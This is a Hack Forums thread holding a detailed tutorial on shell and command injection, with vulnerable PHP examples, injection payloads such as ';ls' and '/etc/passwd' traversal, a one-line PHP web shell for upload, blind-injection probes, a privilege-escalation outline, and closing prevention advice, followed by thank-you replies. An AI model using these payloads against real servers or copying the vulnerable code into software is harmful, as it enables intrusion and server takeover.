

Forum:[Hack Forums](#)

Thread: [Shell Injection & Command Injection Tutorial](#)

WarOnDrugs - August 23, 2014, 12:20 am

Shell Injection & Command Injection

Shell injection, also known as command injection (the terms are used interchangeably here), while not the most frequently talked about or discovered vulnerability, is nonetheless one of the most critical. This article aims to be the most in depth shell injection article and tutorial on the web. For corrections or enhancements to the content, please contact us.

Article Contents:

- Shell Injection Overview & Description (A Basic Introduction)
- How to Perform Shell and Command Injection Attacks
- How to Test a Website for Command Injection Vulnerabilities
- Using Shell Injection as an Attack Vector to Escalate Privileges
- How to Automate Tests for Command Injection
- Likely Places to Find Shell Injection Vulnerabilities
- How to Prevent Shell Injection
- Automatically Find Shell Injection on Your Webserver

Shell Injection Overview & Description (A Basic Introduction)

Oftentimes, web applications need to take advantage of underlying programs or applications to complete some functionality. This may be as simple as sending an email using the Unix sendmail program, or as complicated as running custom perl and c++ programs. From a development point of view, this is an excellent way to reduce the development time of an application. However, if data is passed to these programs via a user interface, then an attacker may be able to inject shell commands into these backend programs, potentially leading to compromise.

To understand how the most basic shell injection might work, imagine a simple case. A custom script is needed to display file contents to users, but the development team doesn't want to spend time writing a procedure to read the files. Instead, they decide to allow users to specify a file, then use the Unix command cat to display the results. The code to accomplish this might be something like this in PHP:

PHP Code

```
<?php
echo shell_exec('cat '.$_GET['filename']);
?>
```

So far, so good. Now the script can be called with various GET parameters to output different files to the user. If we add new files to the directory, the application automatically knows how to read and output them, no matter the output. We can see this with a simple example to understand how the program should work. Assume we have a file in the same directory which a user may want to output. Let's call it my_great_content.txt. It contains some test text like the following:

This is my content. It should be visible. Unfortunately, it leads to command injection...

A user comes to the page with the following url:

Code `www.mysite.com/viewcontent.php?filename=my_great_content.txt`

The PHP page shows them the content just as the user expected. For your average user, the page works as expected, and the development team only had to write one line of code.

Unfortunately, as you may have guessed, the code is not secure and is vulnerable to a shell command injection attack. If an attacker comes, they may append a semicolon (;) and another Unix command to the filename specified in the URL parameter. Perhaps they want to start by listing what files are in the directory:

Code `www.mysite.com/viewcontent.php?filename=my_great_content.txt;ls`

The page still comes up with the file contents, but since I injected a command (ls), it doesn't end there. The command line continues to execute the following command and shows some special information:

Code This is my content. It should be visible. Unfortunately, it leads to command injection...

`my_great_content.txt`

`viewcontent.php`

This example code actually offers numerous opportunities for an attacker, including directory traversals. As a quick example, providing a file name like `../../etc/passwd`, would have the cat command print out the list of users on the server. Even if shell injection were prevented by limiting input to the cat function, this issue would still need to be addressed.

How to Perform Shell and Command Injection Attacks

In the previous section, we saw a basic example of how command injection might work. In this section, we will talk about the varieties of command injections and how they can be executed. Assuming some analysis has found a website function which is likely to be vulnerable to shell injection (see the section on testing for command injection) there are a variety of ways to inject shell commands.

Assume for a moment that you have found the previous examples page, which takes as an argument a filename as input and executes the shell command "cat" against that file. In the previous example, a semicolon was used to separate out one command from another, to indicate that after the cat command completed, another function should be called in the same line. It is reasonable to assume that a more advanced developer might have filtered out some forms of shell injection, such as by removing semicolons, rendering the previous attack ineffective. There are a number of ways to string shell commands together to create new commands. Here are the common operators you can use, as well as examples of how they might be used in an attack:

Redirection Operators

Examples: `<`, `>>`, `>`

These operators redirect either input or output somewhere else on the server. `<` will make whatever comes after it standard input. Replacing the filename with `< filename` will not change the output, but could be used to avoid some filters. `>` redirects command output, and can be used to modify files on the server, or create new ones altogether. Combined with the cat command, it could easily be used to add unix users to the system, or deface the website. Finally, `>>` appends text to a file and is not much different from the original output modifier, but again can be used to avoid some simplistic detection schemes.

Pipes

Examples: `|`

Pipes allow the user to chain multiple commands. It will redirect the output of one command into the next. So you can run unlimited commands by chaining them with multiple pipes, such as `cat file1 | grep "string"`.

Inline commands

Examples: `;`, `$`

This is the original example. Putting a semicolon asks the command line to execute everything before the semicolon, then execute everything else as if on a fresh command line.

Logical Operators

Examples: `$`, `&&`, `||`

These operators perform some logical operation against the data before and after them on the command line.

Common Injection Patterns & Results

Here are the expected results from a number of common injection patterns (appending the below to a given input string, assuming all quotes are correctly paired):

`Code `shell_command`` - executes the command

`$(shell_command)` - executes the command

`| shell_command` - executes the command and returns the output of the command

`|| shell_command` - executes the command and returns the output of the command

`; shell_command` - executes the command and returns the output of the command

`&& shell_command` executes the command and returns the output of the command

`> target_file` - overwrites the target file with the output of the previous command

`>> target_file` - appends the target file with the output of the previous command

`< target_file` - send contents of target_file to the previous command

`- operator` - Add additional operations to target command

These examples are only scratching the surface of possible command injection vectors. The full breadth of attack possibilities is dependent upon the underlying function calls. For instance, if an underlying function is using a shell program such as `awk`, many more attack possibilities arise than laid out here.

Finally, command injection can be more subtle than finding applications which directly call underlying operating system functions. If it is possible to inject code, say PHP code, then you can also perform command injections. Assume you find an application with a PUT vulnerability on a site which is PHP enabled. An attacker could simply upload a PHP file with a single line to have full access to a shell:

PHP Code

```
<?php
```

```
echo shell_exec('cat ' . $_GET['command']);
```

```
?>
```

Thus, it should be noted that many types of attacks, including SQL Injection, have shell injection as an end primary goal to gaining control of the server.

How to Test a Website for Command Injection Vulnerabilities

The first step in identifying command injection vulnerabilities is to map the application. Once you have a series of pages identified to test for command injection, or where you suspect that a website may be calling an underlying operating system function, there are a few simple tests you can

perform to get a feel for whether a command injection vulnerability might exist.

Depending on the underlying operating system, the commands will differ. For both Unix and Windows, appending a semicolon to some input data followed by a basic command:

Code (Windows) <normal_input>; dir c:
(Unix) <normal_input>; ls

If the application outputs error messages other than invalid character messages, then a shell injection is likely to be present. There are a few error messages which are the most likely. If you get error messages about the input not being formatted correctly for the command, such as file not found errors when specifying a file to read, then you may have to modify the command accordingly, with quotes for example. Consider again the first example where the application calls the system command cat to read a file, and possible ways you might need to craft an injection string:

PHP Code

```
<?php
//sending the input directly. Attack with a string like file.txt;ls
echo shell_exec('cat '.$_GET['command']);
?>
```

PHP Code

```
<?php
//input is placed in quotes. You must end the quotes to execute an injection.
//Craft an attack with a string like file.txt";ls
echo shell_exec('cat "'.$_GET['command']").');
?>
```

Testing for Blind Command Injection

Sometimes, an application will not return any error messages back to the screen. In this case, the command injection tests need to be crafted so that they do not depend on output back to the screen. Common commands to use include the unix mail command, or pinging an IP address to see if it is received. You can also try to write test files into the web directory and check if they have been created, though this is less reliable. Some simple examples of blind command injections on Unix, again assuming the application is expecting a text file as user input:

Code file.txt;mail tester@test.com < file.txt //send an email to yourself
file.txt;ping www.test.com //ping a webserver you have control of
file.txt;echo "test" > test.txt //write the word "test" to test.txt. try opening this file with the browser.

In each case, consider if some of the input entered is blacklisted by the application. If the basic command injection tests don't return any results, then try encoding common characters. Common encoding schemes include JavaScript uuencode, html encoding within the browser, or various unicode encodings.

Using Shell Injection as an Attack Vector to Escalate Privileges

Shell injection is generally considered one of the most dangerous vulnerabilities because it can be used to gain complete control over a target server. Although server and OS hardening can help to limit the impact and make it harder for an attacker to escalate privileges, there is still significant risk. Privilege escalation usually takes the following path:

Find Shell injection vulnerability. Leverage the vulnerability to gain further shell access by creating a custom shell script accessible to the attacker. This can take many forms, most simply a new,

dedicated PHP page which acts as a shell. By default, this shell will have the same access as the user running the web server, usually Apache or IIS.

Once shell access is established, the attacker can monitor processes for additional attack landscapes. A good target might be a database user connection, which allows SQL injection attacks directly against the database, and may allow the attacker to gain control of the database user as well, using SQL Injection to create setuid files owned by the database owner with global read privileges.

From this point, it is a matter of an attacker finding other vulnerabilities on the server and exploiting them to gain additional privileges. Whether this is finding unprotected setuid to root or exploiting known software bugs, it is only a matter of time before the attacker has complete control of the system.

How to Automate Tests for Command Injection

Shell injection testing is part of many automated testing suites, including the Golem security scanner. Existing automated scanners try a variety of shell injection attacks which do no harm to the underlying system, searching for problematic error messages or interesting application behavior.

In order to automate this kind of testing without using an existing tool, the following methodology should be used:

Crawl the application. Gather a list of all pages and the various ways data may be input to the application. For each data input point, attempt basic shell injection attacks such as appending `;` to normal input. Examine the server response when normal data is entered as compared to when injected data is entered. If the application returns error messages or different responses, it may have a shell injection vulnerability. Iterate steps 2-4 with various injection values, commands, and encoding schemes.

Implementing your own shell injection command automated scanner is not recommended. It is more valuable to leverage existing open source technologies and looking for ways to improve their checking ability rather than starting from scratch. More information on automated security testing and automated scanners can be found in the automated website security testing article. Likely Places to Find Shell Injection Vulnerabilities

The most common places to find shell injection vulnerabilities is during loading of files and in the running of non-native web code such as perl. When a web application can be shown to read files from the disk, it may not be using the proper libraries, and relying on simpler OS commands to retrieve output. File loading applications are great places to check for shell injection. The other most common place is when the application uses a non web language such as perl to complete some functionality. If perl scripts are found to be used, there are many attacks which can be leveraged to inject additional commands as the perl file is being called.

Perhaps the most common location of all is indirect shell injection attacks when the application evaluates code directly, such as the PHP function eval. If the user has any control over data being placed into an eval or similar statement, then this can be used as a vector to execute shell code, since PHP has the capabilities to call system functions. Thus, a common analysis of web applications includes understanding how they are likely to be written as well as the data entry points where an attack could be attempted.

How to Prevent Shell Injection

Despite the myriad ways described above to attempt shell injection, it can be prevented with a few

simple steps. Top among these is to carefully sanitize all user input data. If you can avoid passing user given arguments to OS programs, you should seriously consider doing so. Alternately, be sure to strip out potentially damaging characters such as semicolons, or other separators which can be used to run additional commands. In Unix, this includes pipes (|), and ampersand (&). The best way to accomplish this is with a whitelist. For the filename examples given above, maintain a list of acceptable files and check that the input matches an entry in this list exactly. Everything else needs to be discarded as an unsafe operation.

If a white list is not possible, create as strict as possible input filters. generally good ones will strip out all dangerous characters listed in how to perform command injection above, as well as limit the length of input and check for valid input data types (such as verifying that the input is a number. It may also be smart to include filtering functions in addition to this filtering. PHP has `escapeshellarg` and `escapeshellcmd` functions for this purpose. However, they are not 100% secure and should only be one component of an overall filtering strategy.

Alternately, you could wrap OS commands in more secure languages, such as Java. If you run the Java `exec` command, it passes each command given it as a separate argument, eliminating some of the most common injection vectors.

Essentially, shell injection vectors, like other injection attacks, are hard to prevent since legitimate input may be very similar to attacker input. The key is carefully sanitizing data, white-listing data, and preventing shell commands from being passed through from user input wherever possible.

Snapchat - September 1, 2014, 8:56 pm

Vouch for my man Adam.. He always creates these HQ Tutorials!

Gangolian - September 23, 2014, 9:57 am

Great information! It was a fun read.

The Alex - September 23, 2014, 9:59 am

Good read my friend, bookmarked
Interesting stuff

133720 - September 23, 2014, 6:53 pm

Nice Bro.Now i learn the new method .Thanks you for your effort.

UkVenom - September 23, 2014, 6:58 pm

Solid thread! I bookmarked for later reading. Good Work! ?

divinell123 - November 11, 2014, 3:54 am

Very nice! Thanks for sharing! Keep it up!

Gangolian - December 31, 2014, 3:26 pm

Incredible Resource for Shell Injection, and all in one place. Thank you, much appreciated.

triforcee - January 1, 2015, 3:50 am

Really nice tutorial.
It explains in depth and is generally a HQ thread!

Much appreciated.

zoombierobo - September 19, 2015, 7:52 am

Very nice tutorial. Thanks

WarOnDrugs - September 20, 2015, 12:11 am

Nice to see people are still making use of this tutorial.

zQuick - September 27, 2015, 5:23 am

thank you searched for it

SIM-2883106 - September 27, 2015, 8:22 am

Nice! I liked the idea of testing blind sql injection. Thanks for share

I Am AmonRa - October 6, 2015, 3:14 pm

Very detailed tut! thanks!

RRelayz - October 6, 2015, 10:10 pm

Very good! Alot of work has went into this!

Aakash_Choudhary - October 7, 2015, 1:21 am

Its a really very nice tutorial i have ever seen.Respect ?

JackRed - January 31, 2017, 12:30 pm

Very informative tutorial! Thank You! ?

Kodaz - January 31, 2017, 1:53 pm

Nice...

<https://leakninja.com/archive/index.php/t-32981.html>

Rishi062 - February 4, 2017, 2:21 am

Thanks for the info man it was fun